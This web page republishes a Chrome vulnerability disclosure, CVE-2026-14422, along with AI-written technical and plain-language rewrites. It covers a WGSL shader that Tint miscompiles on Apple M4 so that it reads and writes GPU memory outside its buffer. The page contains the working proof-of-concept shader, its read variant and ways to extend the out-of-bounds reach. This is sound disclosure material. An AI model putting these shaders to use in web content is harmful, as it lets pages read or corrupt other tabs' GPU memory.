Skip to content
Memory corruption Advisory Advanced CVE-2026-14422

Out of bounds read and write in Tint (CVE-2026-14422)

A WGSL shader is miscompiled by Tint on Apple M4, causing out-of-bounds read and write to GPU memory. An attacker could read or corrupt GPU memory from other tabs.

Michal Andryskowski Follow

Originally disclosed on Chrome VRP

Bounty$2,500 High View original
  • Fix shipped in 34 days

Vulnerability details

Chrome allows the compilation and execution of GPU shaders written in the WGSL shading language using the WebGPU API (Dawn). On Mac Mini M4, a WGSL shader is miscompiled, allowing OOB read/write access to GPU memory at execution time.

WGSL
const SIZE = 1;
struct StorageBuffer {
    a: array<array<u32, SIZE>, 3>,
}

@group(0) @binding(0)
var<storage, read_write> s: StorageBuffer;

@compute @workgroup_size(1u)
fn main(@builtin(num_workgroups) w: vec3<u32>) {
    var w_Inv = ~w;
    s.a[(dot(w_Inv.xy, w_Inv.xy) >> 16u) % 3u][0u] = 0x2A2A2A2A;
}

You can manipulate the offset with SIZE; I think the shader writes from byte 24*SIZE behind the buffer s. You can also read, using out = s.a[(dot(w_Inv.xy, w_Inv.xy) >> 16u) % 3u][0u]; where out is a storage var.

Furthermore, you can R/W to the entire inner array of s.a, so for SIZE=2 you see bytes 48-41 behind you. For larger sizes, you can manipulate binding offset to access even more memory without creating a new storage buffer (offset can move you forward in increments of 256).

Version

Device: Mac Mini 2024 (Apple M4) 16GB MU9D3LL/A

Chrome version: 148.0.7778.179 (Official Build) (arm64)

OS: macOS Tahoe 26.5 (Build 25F71)

Reproduction case

Open poc.html in Chrome with Metal Shader Validation environment variables. More info here: https://developer.apple.com/documentation/xcode/validating-your-apps-metal-shader-usage/

MTL_SHADER_VALIDATION=1 MTL_SHADER_VALIDATION_REPORT_TO_STDERR=1 MTL_SHADER_VALIDATION_REPORT_ALLOCATION_STACK_TRACE=1 /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

Now in the terminal you should see:

Invalid device store at offset 18446744073709551592, executing kernel function: "dawn_entry_point_66696c653a2f2f2066696c653a2f2f" 
buffer: <unnamed>, length:16, resident:Read Write
pipeline: "Dawn_ComputePipeline", UID: "71A6A64FC0AEED9DFF21059CD5A1FFD5FA558763431F7CA63B45803C5ED5FEA9" encoder: "0", dispatch: 0
	* frame #0: v_6() - /program_source:44:85
	* frame #1: dawn_entry_point_66696c653a2f2f2066696c653a2f2f() - /program_source:50:3

Allocation stack trace: 
1   MetalTools                          0x000000018fbed684 -[MTLGPUDebugDevice newBufferWithLength:options:] + 176
2   Chromium Framework                  0x00000003016142ac _ZN4dawn6native5metal6Buffer10InitializeEb + 1024
3   Chromium Framework                  0x00000003016137ec _ZN4dawn6native5metal6Buffer6CreateEPNS1_6DeviceERKNS0_11UnpackedPtrINS0_16BufferDescriptorEEE + 276
4   Chromium Framework                  0x000000030162e05c _ZN4dawn6native5metal6Device16CreateBufferImplERKNS0_11UnpackedPtrINS0_16BufferDescriptorEEE + 200
5   Chromium Framework                  0x0000000301423480 _ZN4dawn6native10DeviceBase15APICreateBufferEPKNS0_16BufferDescriptorE + 1440
6   Chromium Framework                  0x0000000301250364 _ZN4dawn4wire6server6Server20DoDeviceCreateBufferENS1_5KnownIP14WGPUDeviceImplEEPK20WGPUBufferDescriptorNS0_12ObjectHandleEyPKhySC_ + 436
7   Chromium Framework                  0x00000003011de720 _ZN4dawn4wire6server6Server24HandleDeviceCreateBufferEPNS0_17DeserializeBufferE + 560
8   Chromium Framework                  0x00000003011e50fc _ZN4dawn4wire6server6Server14HandleCommandsEPVKcm + 1848
9   Chromium Framework                  0x00000003193015e0 _ZN3gpu6webgpu12_GLOBAL__N_114DawnWireServer14HandleCommandsEPVKcm + 224
10  Chromium Framework                  0x0000000319301998 _ZN3gpu6webgpu12_GLOBAL__N_117WebGPUDecoderImpl18HandleDawnCommandsEjPVKv + 748
11  Chromium Framework                  0x00000003192f7764 _ZN3gpu6webgpu12_GLOBAL__N_117WebGPUDecoderImpl10DoCommandsEjPVKviPi + 524
12  Chromium Framework                  0x00000003081c6fc8 _ZN3gpu20CommandBufferService5FlushEiPNS_17AsyncAPIInterfaceE + 1212
13  Chromium Framework                  0x00000003192520e4 _ZN3gpu17CommandBufferStub12OnAsyncFlushEijRKNSt4__Cr6vectorINS_9SyncTokenENS1_9allocatorIS3_EEEE + 1100
14  Chromium Framework                  0x000000031925127c _ZN3gpu17CommandBufferStub22ExecuteDeferredRequestERNS_5mojom34DeferredCommandBufferRequestParamsEPNS_24FenceSyncReleaseDelegateE + 1144
15  Chromium Framework                  0x000000031926fda4 _ZN3gpu10GpuChannel22ExecuteDeferredRequestEN4mojo9StructPtrINS_5mojom21DeferredRequestParamsEEEPNS_24FenceSyncReleaseDelegateE + 660
16  Chromium Framework                  0x000000031927c4c4 _ZN4base8internal20DecayedFunctorTraitsIMN3gpu10GpuChannelEFvN4mojo9StructPtrINS2_5mojom21DeferredRequestParamsEEEPNS2_24FenceSyncReleaseDelegateEEJONS_7WeakPtrIS3_EEOS8_EE6InvokeISC_RKSE_JS8_SA_EEEvT_OT0_DpOT1_ + 328
17  Chromium Framework                  0x000000031927c2dc _ZN4base8internal7InvokerINS0_13FunctorTraitsIOMN3gpu10GpuChannelEFvN4mojo9StructPtrINS3_5mojom21DeferredRequestParamsEEEPNS3_24FenceSyncReleaseDelegateEEJONS_7WeakPtrIS4_EEOS9_EEENS0_9BindStateILb1ELb1ELb0ESD_JSG_S9_EEEFvSB_EE7RunOnceEPNS0_13BindStateBaseESB_ + 284
18  Chromium Framework                  0x0000000308200aa8 _ZN4base8internal7InvokerINS0_13FunctorTraitsIONS_12OnceCallbackIFvPN3gpu24FenceSyncReleaseDelegateEEEEJS6_EEENS0_9BindStateILb0ELb1ELb1ES8_JNS0_17UnretainedWrapperIS5_NS_17unretained_traits12MayNotDangleELN15partition_alloc8internal12RawPtrTraitsE0EEEEEEFvvEE7RunImplIS8_NSt4__Cr5tupleIJSI_EEEJLm0EEEEvOT_OT0_NSN_16integer_sequenceImJXspT1_EEEE + 456
19  Chromium Framework                  0x00000003081da888 _ZN3gpu9Scheduler15ExecuteSequenceEN4base6IdTypeINS_18SyncPointOrderDataEjLj0ELj1EJEEE + 2712
20  Chromium Framework                  0x00000003081d8ad0 _ZN3gpu9Scheduler11RunNextTaskEv + 640
21  Chromium Framework                  0x00000003081dc46c _ZN4base8internal7InvokerINS0_13FunctorTraitsIOMN3gpu9SchedulerEFvvEJPS4_EEENS0_9BindStateILb1ELb1ELb0ES6_JNS0_17UnretainedWrapperIS4_NS_17unretained_traits12MayNotDangleELN15partition_alloc8internal12RawPtrTraitsE0EEEEEEFvvEE7RunOnceEPNS0_13BindStateBaseE + 388

Alternatively, open poc_complex.html and use the UI to find&replace or corrupt GPU memory from other tabs (watch poc_complex.mp4).

I also reported this to Apple Security Research (OE1106112628661).

Reporter credit: Michal Andryskowski

The original report as published on the Chromium issue tracker, by Michal Andryskowski. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Chrome lets web content compile and run GPU shaders written in the WGSL shading language through the WebGPU API, which is implemented by Dawn. A WGSL shader is compiled by Tint, the WGSL compiler, and the resulting program runs on the GPU. The normal expectation is that a shader can only touch the memory of the buffers it is bound to: a storage buffer binding gives the shader a defined region, and any access outside that region should be rejected or clamped.

This report describes a case where a WGSL shader is miscompiled on a specific machine, so that at execution time the shader performs out of bounds reads and writes to GPU memory. The issue is tracked as CVE-2026-14422 and was reported through the Chrome VRP by Michal Andryskowski, with a bounty of 2500.00 USD and a severity of high. The same issue was also reported to Apple Security Research under reference OE1106112628661.

Setup

The behaviour was observed on the following configuration:

Item Value
Device Mac Mini 2024 (Apple M4) 16GB MU9D3LL/A
Chrome version 148.0.7778.179 (Official Build) (arm64)
OS macOS Tahoe 26.5 (Build 25F71)

To reproduce, the researcher opened poc.html in Chrome with Metal Shader Validation environment variables enabled. Apple documents this facility in its guide on validating an app's Metal shader usage, linked in the report as https://developer.apple.com/documentation/xcode/validating-your-apps-metal-shader-usage/.

Finding it

The researcher found that a particular WGSL compute shader is miscompiled on the M4 machine, and that the compiled program then reads and writes GPU memory outside the storage buffer it was given. The shader is small and uses only standard WGSL constructs: a fixed size constant, a nested array inside a storage buffer struct, a read-write storage binding, and a compute entry point that uses the built-in num_workgroups value.

WGSL
const SIZE = 1;
struct StorageBuffer {
    a: array<array<u32, SIZE>, 3>,
}

@group(0) @binding(0)
var<storage, read_write> s: StorageBuffer;

@compute @workgroup_size(1u)
fn main(@builtin(num_workgroups) w: vec3<u32>) {
    var w_Inv = ~w;
    s.a[(dot(w_Inv.xy, w_Inv.xy) >> 16u) % 3u][0u] = 0x2A2A2A2A;
}

The entry point takes the number of workgroups as a vec3<u32>, bitwise inverts it into w_Inv, computes the dot product of the first two inverted components, shifts the result right by 16 bits, takes it modulo 3, and uses that as the index into the outer array of s.a. It then writes the constant 0x2A2A2A2A into element 0 of the selected inner array. The index arithmetic is what drives the access out of bounds once the shader is miscompiled.

Exploitation

Step 1: Run the shader under Metal Shader Validation

The researcher launched Chrome with the validation environment variables set, so that Metal reports invalid device accesses to stderr:

MTL_SHADER_VALIDATION=1 MTL_SHADER_VALIDATION_REPORT_TO_STDERR=1 MTL_SHADER_VALIDATION_REPORT_ALLOCATION_STACK_TRACE=1 /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

MTL_SHADER_VALIDATION=1 turns on shader validation, MTL_SHADER_VALIDATION_REPORT_TO_STDERR=1 sends the reports to the terminal, and MTL_SHADER_VALIDATION_REPORT_ALLOCATION_STACK_TRACE=1 adds the allocation stack trace of the affected buffer to each report.

Step 2: Observe the invalid store

With the shader running, the terminal shows an invalid device store at a very large offset, which is the two's complement representation of a small negative offset:

Invalid device store at offset 18446744073709551592, executing kernel function: "[redacted]"
buffer: <unnamed>, length:16, resident:Read Write
pipeline: "Dawn_ComputePipeline", UID: "[redacted]" encoder: "0", dispatch: 0
	* frame #0: v_6() - /program_source:44:85
	* frame #1: [redacted]() - /program_source:50:3

Allocation stack trace:
1   MetalTools                          0x000000018fbed684 -[MTLGPUDebugDevice newBufferWithLength:options:] + 176
2   Chromium Framework                  0x00000003016142ac [redacted] + 1024
3   Chromium Framework                  0x00000003016137ec [redacted] + 276
4   Chromium Framework                  0x000000030162e05c [redacted] + 200
5   Chromium Framework                  0x0000000301423480 [redacted] + 1440
6   Chromium Framework                  0x0000000301250364 [redacted] + 436
7   Chromium Framework                  0x00000003011de720 [redacted] + 560
8   Chromium Framework                  0x00000003011e50fc [redacted] + 1848
9   Chromium Framework                  0x00000003193015e0 [redacted] + 224
10  Chromium Framework                  0x0000000319301998 [redacted] + 748
11  Chromium Framework                  0x00000003192f7764 [redacted] + 524
12  Chromium Framework                  0x00000003081c6fc8 [redacted] + 1212
13  Chromium Framework                  0x00000003192520e4 [redacted] + 1100
14  Chromium Framework                  0x000000031925127c [redacted] + 1144
15  Chromium Framework                  0x000000031926fda4 [redacted] + 660
16  Chromium Framework                  0x000000031927c4c4 [redacted] + 328
17  Chromium Framework                  0x000000031927c2dc [redacted] + 284
18  Chromium Framework                  0x0000000308200aa8 [redacted] + 456
19   Chromium Framework                  0x00000003081da888 [redacted] + 2712
20   Chromium Framework                  0x00000003081d8ad0 [redacted] + 640
21   Chromium Framework                  0x00000003081dc46c [redacted] + 388

The report names the buffer as <unnamed> with length 16 and resident Read Write, and identifies the pipeline as Dawn_ComputePipeline. The allocation stack trace shows the buffer being created through Dawn's Metal backend (dawn::native::metal::Buffer::Initialize, Buffer::Create, Device::CreateBufferImpl) and then through the WebGPU wire server (Server::DoDeviceCreateBuffer, Server::HandleDeviceCreateBuffer) and the GPU process command buffer path. The two frames inside the shader point at /program_source:44:85 and /program_source:50:3.

Step 3: Vary the offset with SIZE

The researcher notes that the offset can be manipulated with SIZE. In his reading, the shader writes from byte 24*SIZE behind the buffer s. The same index expression can be used to read instead of write, by assigning the loaded value to an output, where out is a storage variable:

WGSL
out = s.a[(dot(w_Inv.xy, w_Inv.xy) >> 16u) % 3u][0u];

Step 4: Reach further with larger sizes and binding offsets

Because the whole inner array of s.a can be read and written, a larger SIZE moves the accessible region further behind the buffer: with SIZE=2 the researcher reports seeing bytes 48-41 behind the buffer. For larger sizes, the binding offset can be used to move forward in increments of 256, which allows access to even more memory without creating a new storage buffer.

Step 5: Corrupt or replace memory from other tabs

As an alternative to the single shader, the researcher opened poc_complex.html and used its UI to find and replace, or corrupt, GPU memory belonging to other tabs. The report refers to a recording of this, poc_complex.mp4.

Root cause

The report attributes the behaviour to a miscompilation of the WGSL shader on this configuration: the shader as written indexes within the bounds of s.a, but the compiled program performs a store at a negative offset relative to the buffer. The report does not go into which compiler pass produces the wrong code, so the precise defect is not stated. The practical consequence is that the bounds of the storage buffer binding are not respected at execution time, and the invalid access was surfaced because Metal Shader Validation was explicitly enabled for the reproduction.

Impact

A web page running this shader can read and write GPU memory outside its own storage buffer. The researcher demonstrated writing a chosen value out of bounds, reading back out of bounds, extending the reach with SIZE and with the binding offset, and using a second proof of concept to find and replace or corrupt GPU memory belonging to other tabs. The impact is bounded by the conditions in the report: it was observed on a Mac Mini with an Apple M4 running the listed Chrome and macOS versions, and the out of bounds accesses were confirmed with Metal Shader Validation enabled.

Fix

The report does not describe a fix or a code change. It records the miscompilation, the reproduction and the disclosure to both Chrome and Apple Security Research.

Variants to test

  1. Change SIZE in the shader and check whether the reported invalid store offset scales as 24*SIZE behind the buffer. A positive result is a validation report at the corresponding negative offset.
  2. Replace the store with the read form assigning into a storage output and check whether data from behind the buffer is returned. A positive result is a value read from outside the binding's region.
  3. Set the binding offset in increments of 256 and check whether the accessible region moves forward without a new storage buffer. A positive result is an invalid access at a correspondingly shifted address.
  4. Run the same shader on other GPUs, drivers and Chrome versions with Metal Shader Validation or the platform's equivalent enabled, and check whether the same out of bounds access appears. A positive result is an invalid device access reported for a shader that indexes within its declared array bounds.
  5. Use the poc_complex.html approach to find and replace values in GPU memory and check whether data belonging to another tab changes. A positive result is a modification observed outside the originating page.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A web page can ask your graphics card to do maths for it. Chrome allows this through a feature called WebGPU, and the little programs that run on the graphics card are called shaders. Normally a shader is only allowed to touch its own small patch of the graphics card's memory, like a person who is only allowed to write in their own notebook. This report shows a case where a shader written in the WGSL language was translated wrongly on one particular machine, and the translated program then read and wrote memory outside its own notebook. The problem is tracked as CVE-2026-14422, it was reported through the Chrome VRP by Michal Andryskowski, it was rated high severity, and the bounty was 2500.00 USD. The same issue was also sent to Apple Security Research under reference OE1106112628661.

Background: the pieces involved

Before the details make sense, here is what each piece is.

  • GPU: the chip in your computer that draws the screen and also does large amounts of simple maths in parallel. It has its own memory, separate from the main system memory.
  • Shader: a small program that runs on the GPU. Games and web pages use shaders to draw graphics and to compute things quickly.
  • WGSL: a language for writing shaders, designed for the web. It looks a bit like Rust or JavaScript with types.
  • WebGPU: a browser feature (an API) that lets a web page send shaders and data to the GPU. An API is simply a fixed set of commands one program offers to another, like a menu you order from.
  • Dawn: the part of Chrome that implements WebGPU. It takes what the web page asks for and translates it into whatever the operating system's graphics layer understands.
  • Tint: the compiler inside Dawn that turns WGSL source code into a program the GPU can run. A compiler is a translator: it reads code written by a human and produces machine instructions.
  • Storage buffer: a block of GPU memory that a web page hands to a shader. The shader is told where the block starts and how big it is, and it is expected to stay inside those limits.
  • Binding: the connection between a shader and a particular buffer. Think of it as a labelled socket: the shader says "I want socket 0" and the browser plugs a buffer into it.
  • Out of bounds read/write: reading or writing memory outside the region you were given. It is the programming equivalent of reading someone else's letter or writing in their diary. It is dangerous because the memory next door may belong to something else entirely.
  • Metal: Apple's graphics layer on macOS. Chrome talks to it to reach the GPU on a Mac.
  • Metal Shader Validation: a debugging mode in Metal that checks every memory access a shader makes and complains loudly when one falls outside the allowed region. It is normally off because it slows things down.
  • Environment variable: a named setting you can give a program when you start it from a terminal, to change its behaviour for that run.
  • stderr: the second output channel of a program, traditionally used for error messages. When you start a program from a terminal, stderr text appears in the terminal window.
  • Two's complement: the way computers store negative numbers. A small negative number, when read as an unsigned (non-negative) number, looks like a huge number close to the maximum. That is why a negative offset can appear as a very long figure.
  • Stack trace: a list of the function calls that led to a particular moment in a program, from the most recent call back to the oldest. It is like a receipt showing every step that got you here.
  • CVE: a public catalogue number for a known security flaw, so that people can refer to the same issue unambiguously.
  • Chrome VRP: Google's Vulnerability Reward Program, which pays people for reporting security bugs in Chrome.

The setup

The behaviour was seen on this exact configuration:

Item Value
Device Mac Mini 2024 (Apple M4) 16GB MU9D3LL/A
Chrome version 148.0.7778.179 (Official Build) (arm64)
OS macOS Tahoe 26.5 (Build 25F71)

To reproduce the problem, the researcher opened a file called poc.html in Chrome, with Metal Shader Validation switched on through environment variables. Apple documents that facility in its guide on validating an app's Metal shader usage, which the report links as https://developer.apple.com/documentation/xcode/validating-your-apps-metal-shader-usage/.

Finding it

The researcher found that one particular WGSL compute shader is translated wrongly on the M4 machine, and that the resulting program then reads and writes GPU memory outside the storage buffer it was given. A compute shader is a shader whose job is calculation rather than drawing.

The shader is short and uses only ordinary WGSL building blocks: a fixed size constant, a nested array inside a storage buffer struct, a read-write storage binding, and a compute entry point that reads the built-in num_workgroups value. A struct is a bundle of related values under one name, and an array is a numbered list of values. num_workgroups is a number the GPU supplies to the shader telling it how many groups of work were launched.

WGSL
const SIZE = 1;
struct StorageBuffer {
    a: array<array<u32, SIZE>, 3>,
}

@group(0) @binding(0)
var<storage, read_write> s: StorageBuffer;

@compute @workgroup_size(1u)
fn main(@builtin(num_workgroups) w: vec3<u32>) {
    var w_Inv = ~w;
    s.a[(dot(w_Inv.xy, w_Inv.xy) >> 16u) % 3u][0u] = 0x2A2A2A2A;
}

Line by line, in plain words:

  1. const SIZE = 1; declares a constant named SIZE with the value 1. It is used as the length of the inner arrays, so changing it changes the shape of the data.
  2. struct StorageBuffer { a: array<array<u32, SIZE>, 3>, } defines a bundle called StorageBuffer containing one field, a. That field is an array of 3 items, and each item is itself an array of SIZE unsigned 32-bit integers (u32). So a is a small grid of numbers.
  3. @group(0) @binding(0) var<storage, read_write> s: StorageBuffer; declares a variable s of type StorageBuffer, plugged into binding slot 0 of group 0. read_write means the shader may both read from it and write to it. This is the buffer the web page supplies.
  4. @compute @workgroup_size(1u) fn main(...) declares the entry point, the function the GPU starts running. @compute marks it as a calculation shader, and @workgroup_size(1u) says each group of work contains one invocation.
  5. @builtin(num_workgroups) w: vec3<u32> gives the function a parameter w, a vector of three unsigned integers, filled in by the GPU with the number of workgroups in each dimension.
  6. var w_Inv = ~w; creates a local variable holding the bitwise NOT of w. Bitwise NOT flips every 0 bit to 1 and every 1 to 0, which is the same as subtracting the number from all-ones.
  7. s.a[(dot(w_Inv.xy, w_Inv.xy) >> 16u) % 3u][0u] = 0x2A2A2A2A; is the interesting line. w_Inv.xy takes the first two components of the inverted vector. dot(...) multiplies them together and adds the results. >> 16u shifts the result right by 16 bits, which is a quick way of dividing by 65536 and throwing away the remainder. % 3u takes the remainder after dividing by 3, giving a number from 0 to 2, used to pick one of the three inner arrays. [0u] then picks the first element of that inner array. Finally the value 0x2A2A2A2A is stored there.

On paper, every index stays inside s.a. The index arithmetic is what drives the access out of bounds once the shader has been translated wrongly.

Exploitation

Step 1: Run the shader under Metal Shader Validation

The researcher started Chrome from a terminal with the validation environment variables set, so that Metal reports invalid memory accesses to stderr:

Bash
MTL_SHADER_VALIDATION=1 MTL_SHADER_VALIDATION_REPORT_TO_STDERR=1 MTL_SHADER_VALIDATION_REPORT_ALLOCATION_STACK_TRACE=1 /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

What each part does:

  1. MTL_SHADER_VALIDATION=1 switches shader validation on. It switches shader validation on.
  2. MTL_SHADER_VALIDATION_REPORT_TO_STDERR=1 sends the validation reports to the terminal instead of somewhere you would not see them.
  3. MTL_SHADER_VALIDATION_REPORT_ALLOCATION_STACK_TRACE=1 adds the stack trace showing where the affected buffer was allocated, which helps identify which buffer was hit.
  4. The long path at the end is simply the Chrome program itself, started directly rather than through the usual icon, because environment variables only apply to a program you launch yourself.

Turning on validation is what makes the GPU layer itself point at the illegal access.

Step 2: Observe the invalid store

With the shader running, the terminal shows an invalid device store at a very large offset. That figure is the two's complement representation of a small negative offset, so the shader is writing just before the start of its buffer rather than inside it.

Text
Invalid device store at offset 18446744073709551592, executing kernel function: "[redacted]"
buffer: <unnamed>, length:16, resident:Read Write
pipeline: "Dawn_ComputePipeline", UID: "[redacted]" encoder: "0", dispatch: 0
	* frame #0: v_6() - /program_source:44:85
	* frame #1: [redacted]() - /program_source:50:3

Allocation stack trace:
1   MetalTools                          0x000000018fbed684 -[MTLGPUDebugDevice newBufferWithLength:options:] + 176
2   Chromium Framework                  0x00000003016142ac [redacted] + 1024
3   Chromium Framework                  0x00000003016137ec [redacted] + 276
4   Chromium Framework                  0x000000030162e05c [redacted] + 200
5   Chromium Framework                  0x0000000301423480 [redacted] + 1440
6   Chromium Framework                  0x0000000301250364 [redacted] + 436
7   Chromium Framework                  0x00000003011de720 [redacted] + 560
8   Chromium Framework                  0x00000003011e50fc [redacted] + 1848
9   Chromium Framework                  0x00000003193015e0 [redacted] + 224
10  Chromium Framework                  0x0000000319301998 [redacted] + 748
11  Chromium Framework                  0x00000003192f7764 [redacted] + 524
12  Chromium Framework                  0x00000003081c6fc8 [redacted] + 1212
13  Chromium Framework                  0x00000003192520e4 [redacted] + 1100
14  Chromium Framework                  0x000000031925127c [redacted] + 1144
15  Chromium Framework                  0x000000031926fda4 [redacted] + 660
16  Chromium Framework                  0x000000031927c4c4 [redacted] + 328
17  Chromium Framework                  0x000000031927c2dc [redacted] + 284
18  Chromium Framework                  0x0000000308200aa8 [redacted] + 456
19   Chromium Framework                  0x00000003081da888 [redacted] + 2712
20   Chromium Framework                  0x00000003081d8ad0 [redacted] + 640
21   Chromium Framework                  0x00000003081dc46c [redacted] + 388

How to read this output:

  1. The first line says an invalid device store happened at offset 18446744073709551592. That is the unsigned way of writing a small negative number, so the store landed before the buffer rather than inside it. The kernel function name is a mangled identifier derived from the shader's source location.
  2. buffer: <unnamed>, length:16, resident:Read Write says the buffer has no name, is 16 bytes long, and is currently mapped for both reading and writing.
  3. pipeline: "Dawn_ComputePipeline" names the pipeline object, and the UID is a unique identifier for it. encoder: "0", dispatch: 0 identify which command encoder and which dispatch produced the access.
  4. The two frame lines point into the shader itself, at /program_source:44:85 and /program_source:50:3, which is where the bad store happened.
  5. The allocation stack trace below shows the chain of calls that created the buffer. It starts in MetalTools with newBufferWithLength:options:, then goes through Dawn's Metal backend (dawn::native::metal::Buffer::Initialize, Buffer::Create, Device::CreateBufferImpl), then through the WebGPU wire server (Server::DoDeviceCreateBuffer, Server::HandleDeviceCreateBuffer), and then through the GPU process command buffer path. In plain terms: the buffer was created by the browser's GPU process on behalf of the page, and the trace lets you see exactly where.

Step 3: Vary the offset with SIZE

The researcher notes that the offset can be manipulated with SIZE. In his reading, the shader writes from byte 24*SIZE behind the buffer s. The same index expression can be used to read instead of write, by assigning the loaded value to an output, where out is a storage variable:

WGSL
out = s.a[(dot(w_Inv.xy, w_Inv.xy) >> 16u) % 3u][0u];

This line is the mirror image of the earlier store. Instead of putting 0x2A2A2A2A into the selected slot, it takes whatever is in that slot and puts it into out. If the slot is outside the buffer, the shader is reading memory it should not see.

Step 4: Reach further with larger sizes and binding offsets

Because the whole inner array of s.a can be read and written, a larger SIZE moves the accessible region further behind the buffer: with SIZE=2 the researcher reports seeing bytes 48-41 behind the buffer. For larger sizes, the binding offset can be used to move forward in increments of 256, which allows access to even more memory without creating a new storage buffer.

In everyday terms: the buffer is a fenced garden, and the bug lets you step outside the fence. Changing SIZE changes how far outside the fence you can step. Changing the binding offset slides the whole fenced area along, so you can reach different parts of the surrounding land without asking for a new garden.

Step 5: Corrupt or replace memory from other tabs

As an alternative to the single shader, the researcher opened poc_complex.html and used its interface to find and replace, or corrupt, GPU memory belonging to other tabs. The report refers to a recording of this, poc_complex.mp4.

This step matters because it shows one tab can find and replace or corrupt GPU memory belonging to other tabs.

Root cause

The report attributes the behaviour to a miscompilation of the WGSL shader on this configuration: the shader as written indexes within the bounds of s.a, but the compiled program performs a store at a negative offset relative to the buffer. The report does not go into which compiler pass produces the wrong code, so the precise defect is not stated.

The practical consequence is that the limits of the storage buffer binding are not respected at execution time, and the invalid access was surfaced because Metal Shader Validation was explicitly switched on for the reproduction.

Impact

A web page running this shader can read and write GPU memory outside its own storage buffer. The researcher demonstrated writing a chosen value out of bounds, reading back out of bounds, extending the reach with SIZE and with the binding offset, and using a second proof of concept to find and replace or corrupt GPU memory belonging to other tabs.

The impact is bounded by the conditions in the report: it was observed on a Mac Mini with an Apple M4 running the listed Chrome and macOS versions, and the out of bounds accesses were confirmed with Metal Shader Validation enabled.

Fix

The report does not describe a fix or a code change. It records the miscompilation, the reproduction and the disclosure to both Chrome and Apple Security Research.

Variants to test

  1. Change SIZE in the shader and check whether the reported invalid store offset scales as 24*SIZE behind the buffer. A positive result is a validation report at the corresponding negative offset.
  2. Replace the store with the read form assigning into a storage output and check whether data from behind the buffer is returned. A positive result is a value read from outside the binding's region.
  3. Set the binding offset in increments of 256 and check whether the accessible region moves forward without a new storage buffer. A positive result is an invalid access at a correspondingly shifted address.
  4. Run the same shader on other GPUs, drivers and Chrome versions with Metal Shader Validation or the platform's equivalent enabled, and check whether the same out of bounds access appears. A positive result is an invalid device access reported for a shader that indexes within its declared array bounds.
  5. Use the poc_complex.html approach to find and replace values in GPU memory and check whether data belonging to another tab changes. A positive result is a modification observed outside the originating page.

Glossary

  • API: a fixed set of commands one program offers to another, like a menu you order from.
  • Binding: the labelled connection between a shader and a particular buffer or resource.
  • Bitwise NOT: an operation that flips every 0 bit to 1 and every 1 to 0.
  • Buffer: a block of memory set aside for a program to use.
  • Compiler: a program that translates source code written by a person into instructions a machine can run.
  • Compute shader: a shader whose job is calculation rather than drawing.
  • CVE: a public catalogue number for a known security flaw.
  • Dispatch: the act of launching a compute shader to run on the GPU.
  • Dot product: an operation that multiplies matching components of two vectors and adds the results.
  • Environment variable: a named setting given to a program when it starts, which changes its behaviour for that run.
  • GPU: the chip that draws the screen and performs large amounts of parallel maths, with its own memory.
  • Metal: Apple's graphics layer on macOS, which Chrome uses to reach the GPU.
  • Metal Shader Validation: a debugging mode in Metal that checks every shader memory access and reports those outside the allowed region.
  • Out of bounds read/write: reading or writing memory outside the region a program was given.
  • Pipeline: the prepared, ready-to-run form of a shader together with its settings.
  • Stack trace: a list of the function calls that led to a particular moment in a program.
  • stderr: the output channel of a program traditionally used for error messages, visible in a terminal.
  • Storage buffer: a block of GPU memory handed to a shader, with defined start and size.
  • Struct: a bundle of related values grouped under one name.
  • Tint: the compiler inside Dawn that translates WGSL into GPU instructions.
  • Two's complement: the way computers store negative numbers, which makes a small negative number look like a huge unsigned one.
  • u32: an unsigned 32-bit integer, a whole number from 0 upwards.
  • vec3: a vector of three numbers.
  • WebGPU: a browser feature that lets a web page send shaders and data to the GPU.
  • Workgroup: a group of shader invocations that run together and can share data.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.